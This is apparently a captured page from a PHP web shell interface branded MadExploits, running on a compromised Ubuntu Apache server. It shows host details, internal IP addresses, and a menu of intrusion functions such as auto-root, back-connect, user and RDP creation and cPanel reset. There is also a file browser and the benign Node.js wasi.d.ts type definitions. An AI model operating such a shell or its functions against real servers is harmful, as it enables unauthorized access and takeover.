Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
@types /
node /
[ HOME SHELL ]
Name
Size
Permission
Action
assert
[ DIR ]
drwxrwxr-x
dns
[ DIR ]
drwxrwxr-x
fs
[ DIR ]
drwxrwxr-x
readline
[ DIR ]
drwxrwxr-x
stream
[ DIR ]
drwxrwxr-x
timers
[ DIR ]
drwxrwxr-x
ts4.8
[ DIR ]
drwxrwxr-x
LICENSE
1.11
KB
-rw-rw-r--
README.md
2.27
KB
-rw-rw-r--
assert.d.ts
40.67
KB
-rw-rw-r--
async_hooks.d.ts
22.21
KB
-rw-rw-r--
buffer.d.ts
104.77
KB
-rw-rw-r--
child_process.d.ts
67.57
KB
-rw-rw-r--
cluster.d.ts
20.36
KB
-rw-rw-r--
console.d.ts
18.04
KB
-rw-rw-r--
constants.d.ts
623
B
-rw-rw-r--
crypto.d.ts
186.28
KB
-rw-rw-r--
dgram.d.ts
27.11
KB
-rw-rw-r--
diagnostics_channel.d.ts
22.62
KB
-rw-rw-r--
dns.d.ts
30.51
KB
-rw-rw-r--
dom-events.d.ts
5.61
KB
-rw-rw-r--
domain.d.ts
7.64
KB
-rw-rw-r--
events.d.ts
39.98
KB
-rw-rw-r--
fs.d.ts
182.76
KB
-rw-rw-r--
globals.d.ts
13.96
KB
-rw-rw-r--
globals.global.d.ts
39
B
-rw-rw-r--
http.d.ts
82.29
KB
-rw-rw-r--
http2.d.ts
114.11
KB
-rw-rw-r--
https.d.ts
24.31
KB
-rw-rw-r--
index.d.ts
3.65
KB
-rw-rw-r--
inspector.d.ts
122.42
KB
-rw-rw-r--
module.d.ts
13.46
KB
-rw-rw-r--
net.d.ts
42.28
KB
-rw-rw-r--
os.d.ts
17.65
KB
-rw-rw-r--
package.json
6.62
KB
-rw-rw-r--
path.d.ts
7.57
KB
-rw-rw-r--
perf_hooks.d.ts
23.93
KB
-rw-rw-r--
process.d.ts
74.43
KB
-rw-rw-r--
punycode.d.ts
5.35
KB
-rw-rw-r--
querystring.d.ts
6.49
KB
-rw-rw-r--
readline.d.ts
22.44
KB
-rw-rw-r--
repl.d.ts
19.08
KB
-rw-rw-r--
stream.d.ts
80.72
KB
-rw-rw-r--
string_decoder.d.ts
2.78
KB
-rw-rw-r--
test.d.ts
58.43
KB
-rw-rw-r--
timers.d.ts
11.99
KB
-rw-rw-r--
tls.d.ts
55.52
KB
-rw-rw-r--
trace_events.d.ts
7.74
KB
-rw-rw-r--
tty.d.ts
9.82
KB
-rw-rw-r--
url.d.ts
40.17
KB
-rw-rw-r--
util.d.ts
83.38
KB
-rw-rw-r--
v8.d.ts
31.46
KB
-rw-rw-r--
vm.d.ts
38.17
KB
-rw-rw-r--
wasi.d.ts
7.65
KB
-rw-rw-r--
worker_threads.d.ts
33.17
KB
-rw-rw-r--
zlib.d.ts
19.09
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : wasi.d.ts
/** * **The `node:wasi` module does not currently provide the** * **comprehensive file system security properties provided by some WASI runtimes.** * **Full support for secure file system sandboxing may or may not be implemented in** * **future. In the mean time, do not rely on it to run untrusted code.** * * The WASI API provides an implementation of the [WebAssembly System Interface](https://wasi.dev/) specification. WASI gives WebAssembly applications access to the underlying * operating system via a collection of POSIX-like functions. * * ```js * import { readFile } from 'node:fs/promises'; * import { WASI } from 'wasi'; * import { argv, env } from 'node:process'; * * const wasi = new WASI({ * version: 'preview1', * args: argv, * env, * preopens: { * '/local': '/some/real/path/that/wasm/can/access', * }, * }); * * const wasm = await WebAssembly.compile( * await readFile(new URL('./demo.wasm', import.meta.url)), * ); * const instance = await WebAssembly.instantiate(wasm, wasi.getImportObject()); * * wasi.start(instance); * ``` * * To run the above example, create a new WebAssembly text format file named`demo.wat`: * * ```text * (module * ;; Import the required fd_write WASI function which will write the given io vectors to stdout * ;; The function signature for fd_write is: * ;; (File Descriptor, *iovs, iovs_len, nwritten) -> Returns number of bytes written * (import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32))) * * (memory 1) * (export "memory" (memory 0)) * * ;; Write 'hello world\n' to memory at an offset of 8 bytes * ;; Note the trailing newline which is required for the text to appear * (data (i32.const 8) "hello world\n") * * (func $main (export "_start") * ;; Creating a new io vector within linear memory * (i32.store (i32.const 0) (i32.const 8)) ;; iov.iov_base - This is a pointer to the start of the 'hello world\n' string * (i32.store (i32.const 4) (i32.const 12)) ;; iov.iov_len - The length of the 'hello world\n' string * * (call $fd_write * (i32.const 1) ;; file_descriptor - 1 for stdout * (i32.const 0) ;; *iovs - The pointer to the iov array, which is stored at memory location 0 * (i32.const 1) ;; iovs_len - We're printing 1 string stored in an iov - so one. * (i32.const 20) ;; nwritten - A place in memory to store the number of bytes written * ) * drop ;; Discard the number of bytes written from the top of the stack * ) * ) * ``` * * Use [wabt](https://github.com/WebAssembly/wabt) to compile `.wat` to `.wasm` * * ```bash * wat2wasm demo.wat * ``` * @experimental * @see [source](https://github.com/nodejs/node/blob/v20.2.0/lib/wasi.js) */ declare module "wasi" { interface WASIOptions { /** * An array of strings that the WebAssembly application will * see as command line arguments. The first argument is the virtual path to the * WASI command itself. */ args?: string[] | undefined; /** * An object similar to `process.env` that the WebAssembly * application will see as its environment. */ env?: object | undefined; /** * This object represents the WebAssembly application's * sandbox directory structure. The string keys of `preopens` are treated as * directories within the sandbox. The corresponding values in `preopens` are * the real paths to those directories on the host machine. */ preopens?: NodeJS.Dict<string> | undefined; /** * By default, when WASI applications call `__wasi_proc_exit()` * `wasi.start()` will return with the exit code specified rather than terminatng the process. * Setting this option to `false` will cause the Node.js process to exit with * the specified exit code instead. * @default true */ returnOnExit?: boolean | undefined; /** * The file descriptor used as standard input in the WebAssembly application. * @default 0 */ stdin?: number | undefined; /** * The file descriptor used as standard output in the WebAssembly application. * @default 1 */ stdout?: number | undefined; /** * The file descriptor used as standard error in the WebAssembly application. * @default 2 */ stderr?: number | undefined; /** * The version of WASI requested. * Currently the only supported versions are `'unstable'` and `'preview1'`. * @since v20.0.0 */ version: string; } /** * The `WASI` class provides the WASI system call API and additional convenience * methods for working with WASI-based applications. Each `WASI` instance * represents a distinct environment. * @since v13.3.0, v12.16.0 */ class WASI { constructor(options?: WASIOptions); /** * Return an import object that can be passed to `WebAssembly.instantiate()` if no other WASM imports are needed beyond those provided by WASI. * * If version `unstable` was passed into the constructor it will return: * * ```js * { wasi_unstable: wasi.wasiImport } * ``` * * If version `preview1` was passed into the constructor or no version was specified it will return: * * ```js * { wasi_snapshot_preview1: wasi.wasiImport } * ``` * @since v19.8.0 */ getImportObject(): object; /** * Attempt to begin execution of `instance` as a WASI command by invoking its`_start()` export. If `instance` does not contain a `_start()` export, or if`instance` contains an `_initialize()` * export, then an exception is thrown. * * `start()` requires that `instance` exports a [`WebAssembly.Memory`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory) named`memory`. If * `instance` does not have a `memory` export an exception is thrown. * * If `start()` is called more than once, an exception is thrown. * @since v13.3.0, v12.16.0 */ start(instance: object): number; // TODO: avoid DOM dependency until WASM moved to own lib. /** * Attempt to initialize `instance` as a WASI reactor by invoking its`_initialize()` export, if it is present. If `instance` contains a `_start()`export, then an exception is thrown. * * `initialize()` requires that `instance` exports a [`WebAssembly.Memory`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory) named`memory`. * If `instance` does not have a `memory` export an exception is thrown. * * If `initialize()` is called more than once, an exception is thrown. * @since v14.6.0, v12.19.0 */ initialize(instance: object): void; // TODO: avoid DOM dependency until WASM moved to own lib. /** * `wasiImport` is an object that implements the WASI system call API. This object * should be passed as the `wasi_snapshot_preview1` import during the instantiation * of a [`WebAssembly.Instance`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance). * @since v13.3.0, v12.16.0 */ readonly wasiImport: NodeJS.Dict<any>; // TODO: Narrow to DOM types } } declare module "node:wasi" { export * from "wasi"; }
Close